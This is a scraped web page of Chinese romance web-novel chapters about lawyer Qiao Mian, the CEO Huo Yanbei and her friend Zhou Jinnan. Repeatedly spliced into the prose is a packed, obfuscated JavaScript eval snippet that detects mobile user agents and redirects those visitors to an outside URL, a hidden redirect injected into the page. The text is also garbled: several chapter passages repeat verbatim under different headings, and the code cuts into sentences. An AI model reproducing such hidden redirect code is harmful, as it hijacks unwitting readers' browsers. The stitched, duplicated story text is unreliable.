;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔眠听到‘霍沉’这个名字,本就慌乱的心,更慌了。 办公室的门把手转动,随着一声‘小叔’的唤声响起,乔眠心下一乱,躲了起来。 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 她双手撑着他的胸膛,挣扎着要起身时,腰上那股力猛地压下。 使得她又跌回到她怀里。 她仰脸瞪着他。 男人粗粝的指腹, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101751|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碾过女人被磕破的唇,“公司法务部门有个实习空缺,要不要来?” 乔眠愣了下,霍宴北已经捏起她的下巴:“月薪一万。” 且不提薪资,单说能够进入霍氏集团,是多少人求都求不来的。 他却给她开绿灯,让她去法务部? 乔眠望着他的眼神里多了一丝困惑。 霍宴北淡淡又说了一句:“酒吧环境复杂,不适合你。” 乔眠推开腰上的手,擦了擦唇上渗着的血丝,站起身后,神情冷淡的回复:【霍先生与我只是陌生人,实在无福消受您的好意。】 说到这里,她笑了一下:【我觉得在酒吧工作挺好的,我喜欢。】 男人蹙眉,“喜欢?昨夜你醉成那样,就是喜欢这份工作的后果。” 【霍先生,那是我的工作,与您无关。】 说罢,她拿起放在办公桌上的包,转身就走。 “你似乎很缺钱,不考虑一下?” 男人清冷的声音从身后传来。 乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 六年前,但凡他怜悯她,就不会当众打了她一巴掌。 也不会弃她于火场。 六年后,他的这份怜悯,又源自于哪里? 第133章 乔律师是真喜欢您 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101752|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经**。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 当年,她割腕**,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第134章 被赤裸裸的威胁 乔眠听到‘霍沉’这个名字,本就慌乱的心,更慌了。 办公室的门把手转动,随着一声‘小叔’的唤声响起,乔眠心下一乱,躲了起来。 霍沉进来后,正好看到霍宴沉从休息室走出来。 手里还拿着一个女士包。 “小叔,你怎么拿着女人的包?” 霍沉意味深长的笑着问。 “多事。” 霍宴北目光冷淡的看了他一眼。 然后,扫了一圈办公室,没寻到那个女人的身影,以为她走了。 他把包丢在办公桌上,脸色微沉的走到办公桌后面。 刚坐下,却看到躲在办公桌下面的乔眠。 男人额头青筋一跳。 乔眠蹲在地上,仰着小脸,尴尬的冲他笑了一下。 要是被霍沉撞见她在霍宴北办公室,指不定招惹出什么闲话。 况且,她还得罪了霍沉。 让他逮住她的话,怕是又要不依不饶的讨伐她。 昨夜那六杯酒,就是教训。 “小叔,你看什么呢?” 霍沉走到办公桌前,拉开一张椅子坐下。 “你来做什么?” 霍宴北抬头,清冷的目光扫了他一眼。 霍沉的关注点依旧在小叔的私生活上。 他瞅了一眼那只女包,嬉皮笑脸的问,“这个包,是不是昨夜你抱着的那个女人的?” “嗯。” 他毫不避讳的承认。 霍沉呲牙一笑,好奇心爆棚:“能入得了小叔眼的女人,肯定很漂亮,她跟宋蔓小婶比,谁更漂亮?” 宋蔓小婶…… 他真的和宋蔓结婚了…… 乔眠仰头,看着霍宴北。 他没有否认。 感受到女人的盯视时,垂眸,看了她一眼。 不知是不是错觉,似乎看到她匆忙低头时,泛红的眼圈。 “小叔,我以为你这样冷的性子,是不会在外面养女人的,我很好奇,什么样的女人比宋蔓小婶还优秀,抓住了你的心。” 霍沉不知死活的喋喋不休。 霍宴北脸色变得很难看,“没事就滚。” “有事有事。” 霍沉做投降状,“小叔,我这不是要开酒吧一条街嘛,但是,你知道的,我爸妈不支持我,非逼着我到集团上班,还把我卡里的钱冻结了。” 男人手指轻叩桌案,“说重点。” “我需要一笔启动资金。” 说着,霍沉站起身,一脸认真道:“小叔,你就当投资副产入股,你是大股东,我捞个二股东就成,从管理到经营我全包,你看咋样?” 霍宴北扫了一眼桌下的女人后,淡声回道,“可以。” 霍沉怔了一下。 没想到小叔答应这么痛快。 来之前,他完全不抱希望的。 毕竟,他爸妈和小叔之间的关系并不好。 他很怕小叔殃及他这条小池鱼。 “小叔,就这么定了,可不许反悔。” 霍宴北抬了下下巴:“出去找陈珂,让他带你去财务处走流程。” “好嘞!” 霍沉走到门口,忽然转身朝小叔眨了眨眼睛,“小叔,你放心,你在外养女人的事情,我保证不会跟小婶告密的。” “对了,小婶和孩子快回国了,到时候我请……” 话还未说完,霍宴北薄唇溢出一个寒冷的字,“滚。” 霍沉吓得一个激灵,飞快闪人。 很快,偌大的办公室静谧下来。 霍宴北低头,看了乔眠一眼,想说她可以出来了时,却看到女人低着头揉眼睛。 不知为何,他的心蓦地一刺。 伸手攥住乔眠的手腕,将人从办公桌下面拉了出来。 动作有些粗暴,很用力,乔眠毫无防备的跌进了他怀里。 好巧不巧的,她的唇撞到了他的下颌。 突如其来的亲密举动,让两人同时怔住。 甚至能听清楚两具身体紧贴在一起,胸腔里的心跳声。 霍宴北感受着怀里女人娇软的身体,以及那股淡淡的幽香钻入鼻息时,腰腹瞬间紧绷起来。 落在女人纤细小腰的大掌,下意识收紧。 “你要趴在我怀里多久?” 男人微哑的嗓音落入耳边。 乔眠猛地抬头,对上一双深不见底的眸子。 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乔眠顿住脚步,转身看向他,【霍先生对别的女人散播爱心,就不怕您的妻子不高兴?】 霍宴北起身,走到她面前,附身,望着她泛红的眼瞳,勾了勾唇角:“乔眠,你似乎很关心我的个人问题?” 乔眠咬了一下唇:【您误会了,我只是随口一问。】 男人望着她再次转身要走时,问出一直以来纠结于心的问题:“我们以前是不是在哪儿见过?” 他记忆力很好,但凡见过的人,都会有印象。 但是乔眠例外。 她给他的感觉特别熟悉。 但这张脸,却又很陌生。 乔眠转身,手语动作铿锵有力:【没有。】 末了,反问了一句:【我很好奇,我和霍先生并不熟,您为什么想给我提供工作?】 霍宴北看着她的眼睛,眼眸里涌动着一丝复杂的情绪,“因为觉得你很可怜。” “……” 乔眠的心脏犹如被重物击中一样疼。 他向来冷漠,不是一个会发散同情心的人。 六年前,但凡他怜悯她,就不会当众打了她一巴掌。 也不会弃她于火场。 六年后,他的这份怜悯,又源自于哪里? 第135章 霍妩没死的话,就让她再死一次 乔眠苦涩一笑:【原来霍大总裁生了一副慈悲心肠,可这世上的穷苦之人千千万,霍先生每一个人都要帮吗?】 霍宴北皱眉。 她话中带刺。 甚至带着点嘲讽。 不知是不是他想多了,还感觉出一丝……怨恨。 这个女人的反应……很奇怪。 按正常人思维,得到别人的帮助,无论接不接受别人的善意,总该表现出最起码的礼貌的和感激。 她不是。 她拒绝他的善意也就罢了,还是一副好像他冒犯到她,很敌意的态度。 此时的她,没有之前几次见到他时的过度紧张,冷若冰霜的拒人千里之外。 霍宴北薄唇紧抿:“乔眠,不是每个人都有这个机会的,得珍惜。” 乔眠冷笑,【抱歉,霍先生的好意,我不接受。】 “别装。” “……” 乔眠皱眉,想骂人。 却见霍宴北折返到办公桌前,从抽屉里拿出一个盒子,转身走到她面前,将东西递给她。 乔眠垂眸一看。 是一个还未拆封的手机盒。 看型号,是刚上市,还未销售的知名品牌手机。 官网预售价一万六。 “来霍氏集团上班,得体面,你那部手机那么破,以后见客户会被人诟病。” 他一副断定她会答应来霍氏集团上班似的。 口吻更是以老板对员工的态度。 且强行将手机丢进了她手里。 “出去吧,陈珂会带你办理入职手续。” 说完,男人转身朝办公桌前走去。 乔眠颤抖的手指,死死抠着手机盒。 快要把盒子抠出一个洞了。 他果然还是没变啊。 行事作风依旧强势霸道。 他大概站在高处习惯了,以为,赏一颗糖,别人就得对他千恩万谢? 乔眠笑了。 手上一松。 手机盒啪一声,掉在了地上。 霍宴北听到动静,转身后,只看到一抹消失在门口的纤细身影。 当看到地上的手机盒时,脸色黑的能拧出墨汁来。 她不要手机,还把她的新手机,当垃圾一样丢在了地上? 霍宴北狠狠咬了咬后牙槽。 这时,陈珂走了进来,看到地上的手机盒,立马捡了起来,“霍总,我刚刚看到乔小姐好像哭着跑出去了……” 霍宴北冰冷阴沉的脸色微微一怔,“她……哭什么?” 陈珂抓了抓额头,“您是不是对乔小姐做什么了?” 霍宴北烦躁的厉害,语气很不好:“给她提供工作,给她新手机,她不接受也就罢了,还把手机给老子扔到了地上,我怎么知道她哭什么?” 陈珂也很纳闷,若不是她有几分似霍妩小姐,霍总怕是连多看她一眼都不会。 虽然,这个女人挺漂亮的。 “霍总,你帮她,她怎么还清高上了?” 陈珂忍不住嘟哝了一句。 男人将自己扔进真皮座椅里,点了一根烟,吞云吐雾,半响没有吭声。 陈珂走过去,将手机盒放在办公桌上,问了一句,“那法务部助理一职,还要给她保留吗?” 霍宴北皱着眉,抬手将手机盒挥到了地上。 “不必了!” 声音冷的骇人。 陈珂还没见过平日里冷漠寡情的二爷,会被一个女人气得脾气如此失控。 陈珂禁不住打了一个寒颤,“霍总,您别动怒,我让温秘书给您冲杯咖啡消消气。” 霍宴北吐出一口烟圈,沉默。 陈珂知道,这便是应允了。 他弯腰,再次将那只手机盒捡起来,放在办公桌上后,退出了办公室。 霍宴北盯着那只手机盒,心情愈加烦躁,直接扔进了抽屉。 却忽然想起乔眠手腕上戴着的那只电话手表。 她为什么会有儿童电话手表? 男人眼神微微眯起。 打开手机,点开那个叫芋粥无底美少女的微信,望着聊天记录里,最后三条错别字一堆的消息。 你几碎了? 劫婚了吗? 有钱吗? 盯着看了好一会儿,鬼使神差的回复: 29岁。 未婚。 很有钱。 …… 乔眠从总裁办公室出来后,没有立即下楼。 而是跑到了洗手间。 站在洗手台前,鞠起一捧冷水往脸上浇。 试图掩饰掉眼角不断往外涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101754|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的泪珠。 水打在脸上,把妆都弄花了。 化妆品糊在脸上,让她看起来,狼狈的像一个小丑。 脑子里霍宴北的那些话,一遍一遍在耳边回放。 这世上任何一个人嘲讽她,羞辱她,她都不会如此心痛。 尤其是,从口中说出‘体面’二字。 她承认,刚才在他面前,她的自尊心很受挫。 她也想体体面面的生活,可是,造成她走到现在这个地步的是他! 是他注销了她的身份信息,让她像一只被丢弃在路边的流浪猫一样,无处可去,连在这个世上生存都难。 若不是,那个人给了她一个活下去的身份,她大概已经**。 她摸着手腕上,隐隐还能摸出来的一道凹凸不平的刀痕,眼泪再次不争气的涌了出来。 当年,她割腕**,被人所救后,才得知自己怀孕了…… 想到这些,她又往脸上泼了几捧冷水。 情绪冷静下来后,她从包里翻找纸巾时,一个女人 拿着几张纸巾,递到她眼前,声音清悦,“擦擦吧。” 乔眠没接。 抬头一看,微微一愣。 是之前在电梯里,被议论的那个女人,温……秋。 年龄也只有二十三四岁,穿着一套黑色职业套裙。 肤色很白,黑发干净利索的绾在脑后。 虽然胖些,但是,身材属于那种匀称的胖。 脸蛋称不上漂亮,但看起来干干净净的。 “给。” 见她没接,温秋又将纸巾往她眼前送了送。 乔眠这才接过来,说了一声谢谢。 女人对着镜子补妆时,扫了一眼她肩上挎着的包,随口一问:“你也是霍总资助的大学生?” 也? 乔眠愣了一下,一时没懂她为何这么问。 “不是。” 说完,这才意识到,自己又能说话了。 温秋再次盯了一眼她的包后,笑着问,“那你是新来的?我刚才看到你从霍总办公室出来呢。” 乔眠这才听明白,温秋在打探她和霍宴北的关系。 也是,像他那样一个京圈太子爷,又是高高在上的千亿总裁,哪个女人不惦记? 第136章 娶了乔眠吗 霍宴北回头,眼神莫测的看着温白扬,“阿妩活着与否,又或是,最后回不回到我身边,我和宋蔓的这场假婚姻,都不会持续下去。” 温白扬攥紧的指骨一点点泛白,“可宋蔓毕竟等了你六年……” 霍宴北眉心几不可查的蹙了一下,“她比谁都清楚,我跟她的婚姻,只是一场合作,这些年,我从未用霍太太的身份限制过她,她身心都是自由的。” “那……” “你今天怎么了?这么多问题?” 霍宴北眯眼,目光晦暗的瞅着他。 温白扬故作轻松的扯了一下唇,“就是在想,万一亲子鉴定结果显示,那孩子是你的话,好奇你会怎么做,娶了乔眠吗?” “我有说过,鉴定的是乔眠的孩子吗?” “……” 温白扬脸上的表情一僵。 霍宴北走到他身前,抬手,不轻不重的按了按他的肩膀,“拿话套我呢?” “行!” 温白扬啧了一声,“我这不是好奇你要鉴定的孩子妈妈是谁吗?” 霍宴没说话,做了一个闭嘴的手势,旋即,转身离开了。 门关上的一瞬间,温白扬面色沉重的点了一支烟,站在窗口,猛吸了好几口,又烦躁的把烟碾灭了。 …… 乔眠因为要回到荣华工作,所以,这两天把手头上的工作都对接给了何眉和孟白。 “小乔,你真的要回到荣华?” 何眉很不理解她的做法。 回到荣华,又做回那个每天见各种抓马的当事人,分析案子,跑**,体力脑力累够呛的小律师,哪有留在霍氏集团,经手的都是大项目案子能够有上升空间? 孟白亦是劝道,“小乔,我觉得以你的能力,在霍氏干个几年,将来发展肯定会更好。” “是啊。” 何眉扶着座椅,滑到她身边,“上次,你为了那个哑女案,还跑去酒吧卧底好几天,最后耗时耗力,案子还没办成,哪有在霍氏轻松啊。” 乔眠淡笑,“与其在霍氏,服务商圈的资本大佬,我还是喜欢回荣华,帮助当事人辩白,扭转局面的过程。” 她回荣华,一则是躲开霍宴北,二则,确实是当做回当初她想做律师的初衷工作。 “行吧,人各有志。” 何眉叹了一声,和孟白不再劝了。 隔天,她本想约周津南出来见一面的,思来想去,还是请了半天假,直接去了同尘律所。 岳臣见到乔眠时,还以为她已经办妥了离职手续,来同尘入职的。 “乔律师,可终于等到你来入职了。” 岳臣面带微笑,招呼她进入办公室,“你先坐,等下我带你熟悉一下环境。” 乔眠没坐,直言道,“岳律师,不好意思,我是来见周津南的。” “这……他……” 见岳臣闪烁其词,乔眠直接挑明道:“我已经知道同尘的幕后出资老板是他。” 岳臣有些尴尬的挠了一下脑门,转头,望了一眼里间办公室。 乔眠顺着他的目光落过去。 下一瞬,办公室的门开了。 周津南西装革履,温润尔雅的屹立在办公室门口。 望着她的目光里充满惶然,还有一丝被戳破真相后的落寞。 “抱歉,我不是故意瞒着你的。” 周津南率先开口,诚恳致歉。 “乔律师,你可千万别怪津南,其实,他这么做,都是为了……” 岳臣替朋友抱屈,想说句公道话,却被周津南打断了。 “岳臣,你先出去。” “好吧,你们聊。” 岳臣出去后,乔眠抬步走进周津南的办公室,在沙发上坐下后,说道:“周津南,其实,你一开始就可以跟我明说的。” 周津南倒了一杯水放在她面前的茶几上后,在她旁边的单人沙发坐下,“如果我一开始就跟你说,同尘律所是我的开的,我邀请你到同尘入职,并且帮你出六十万买断你在荣华的剩余合同,你肯来吗?” 乔眠端起水杯,抿了一小口,沉吟片刻后,淡声回了两个字:“不会。” 周津南苦涩一笑,“看吧,我毕竟是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101755|195743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的老同学,还是有些了解你的,所以,只好用这种方式帮你。” “谢谢你费劲心思为我考虑……” 乔眠放下水杯,看向周津南,由衷的道谢。 说到这里,她从包里取出一张银行卡,推到他面前,“但是,这个人情,我担不起,也偿还不了。” 周津南蹙眉,“我不缺这点钱,也不需要你还。” 乔眠又将那张银行卡往前推了推,“可我不能白白接受你这大笔钱。” “好。” 周津南深吸一口气,“那就按最开始,你跟岳臣协商的还款方式,你来同尘上班,从你每个月的工资里扣,可以吗?” “抱歉。” 乔眠咬了一下唇角,缓缓起身道,“我已经决定不离职了……” “你一心想要从荣华离职,就是为了逃开霍宴北,怎么突然就改变主意不肯离职了?” 周津南一脸诧异的起身,看着她,问。 乔眠本欲告诉他实情,可是,又怕周津南知道这其中是霍宴北做的孽,担心他为她出头去找霍宴北,一旦他惹怒霍衙门北,同尘就真的会受到连累,所以,权衡之下,她淡淡回了一句,“我马上就不会再去霍氏上班,调回荣华工作了,所以,没必要白白给荣华付六十万违约金,离职。” 这个结果,让周津南很意外。 也很疑惑。 “霍宴北怎么肯轻易放你回荣华?” “是真的,我马上就能回到荣华上班了,我今天找你,就是为了跟你说这件事,我只请了半天假,我得回去了。” 说完,乔眠转身就走。 临到门口时,周津南快步跟过来,扣住她的手腕,“不对,霍宴北那种疯子一直怀疑你的身份,怎么可能轻易放开你?这其中,是不是有什么隐情?他是不是威胁你了?还有,你是怎么知道我是同尘的幕后老板?” 一连串问题砸过来,乔眠无以辩驳,苍白又无力的回了一句,“你想多了,不离职,是我自己的决定。” 说罢,挣开他的禁锢,开门离开了。 第137章 被打了一巴掌 就在她站在律所一楼路边,拦停了一辆出租车,准备上车之际,周津南追上来,将那张银行银行卡强行塞进了她手里,“秦妩,这钱,你先留着,等你考虑清楚再说。” 说完,他直接跟司机报了霍氏集团的地址。 乔眠想下车,出租车已经驶入车流中。 她只好把银行卡放进包里,想着之后去趟银行,转账到他的银行账户中。 …… 周津南回到办公室后,愁眉苦脸的连抽了好几根烟,岳臣劝道,“我就不明白了,这世上这么多女人,你非得在乔律师这棵树上吊死?虽然她长得是挺好看的,可她是霍宴北盯上的女人,你争得过吗?” “争?” 周津南喃喃自语,忽然间,意识到什么。 岳臣见他表情突发呆滞,伸手在他眼前晃了一下,“想什么呢?” 周津南看向岳臣,“你不是有同学在荣华上班吗?你帮我问下,荣华内部最近是有什么大事发生吗?” “现在?” “是。” 岳臣只好掏出手机,给同学打电话。 听完同学的八卦后,岳臣一脸吃惊的挂断电话后,看向周津南,“大事件啊,霍氏集团收购了荣华律所!” “……” 周津南震惊的差点把手中的玻璃杯捏碎了。 “果然是他从中作梗,秦妩也一定是受她逼迫,才不得已留在荣华的。” 说罢,他起身就朝门外走去,岳臣一把拉住他,“你干什么去?” “我不能让秦妩再受他逼迫,我要去找霍宴北谈。” “你什么时候变得这么冲动了?” 岳臣叹气,“你忘了当年,霍宴北是怎么对付你们周家的?现在,以你的实力,根本无法跟他抗衡,你找他有个屁用啊?” 说到这里,岳臣点出重点,“再说了,不管乔律师是不是被迫的,事实是,现在是她自己选择留在荣华的……” “她有选择的余地吗?” 周津南冷声打断他,低吼了一声,“六年前,我没能帮她离开霍宴北那个恶魔,六年后,我不能再弃她不管!” 说完,他推开岳臣,头也不回的走了。 而此时,乔眠刚到霍氏法务部。 正准备坐下时,一个五六十岁,打扮的还算贵气的女人,踩着高跟鞋,噔噔噔的忽然冲进来,凌厉的眉眼扫视着整个办公区:“谁是乔眠?” 被点名,乔眠怔了一下,走出工位,“您好,我是……” 